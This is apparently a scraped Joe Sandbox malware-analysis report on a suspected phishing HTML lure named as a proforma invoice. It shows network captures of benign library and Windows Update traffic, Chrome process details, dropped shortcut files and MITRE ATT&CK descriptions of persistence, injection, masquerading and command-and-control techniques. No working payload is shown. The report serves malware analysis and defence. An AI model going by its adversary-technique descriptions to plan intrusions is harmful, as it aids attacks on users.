2024-08-28 13:08:20 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-08-28 13:08:20 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49734	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-28 13:08:25 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=246452 Date: Wed, 28 Aug 2024 13:08:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49735	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-28 13:08:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=246460 Date: Wed, 28 Aug 2024 13:08:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-28 13:08:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49737	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:32 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dZbafB1fPF8yA3Z&MD=RFb6s9x5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-28 13:08:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 36bcab4c-7961-4c56-9a62-629a82903b69 MS-RequestId: c3d26897-b2d1-4bd7-9495-21a77ec98058 MS-CV: hevODrrZ+ESojSms.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 28 Aug 2024 13:08:31 GMT Connection: close Content-Length: 24490
2024-08-28 13:08:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-08-28 13:08:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49747	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:09:11 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dZbafB1fPF8yA3Z&MD=RFb6s9x5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-28 13:09:11 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c77e4a28-a1af-40c9-97ee-a1bf42664f21 MS-RequestId: 1c407c07-e72d-4dba-92c1-d90d38746c4a MS-CV: XsZKhiS+Q0S49VFa.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 28 Aug 2024 13:09:11 GMT Connection: close Content-Length: 30005
2024-08-28 13:09:11 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-08-28 13:09:11 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	09:08:13
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Proforma.Invoice.Payment.$$.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:08:17
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2200,i,5004510739044117049,14194293438167488390,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Proforma.Invoice.Payment.$$.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

Windows Analysis Report
Proforma.Invoice.Payment.$$.html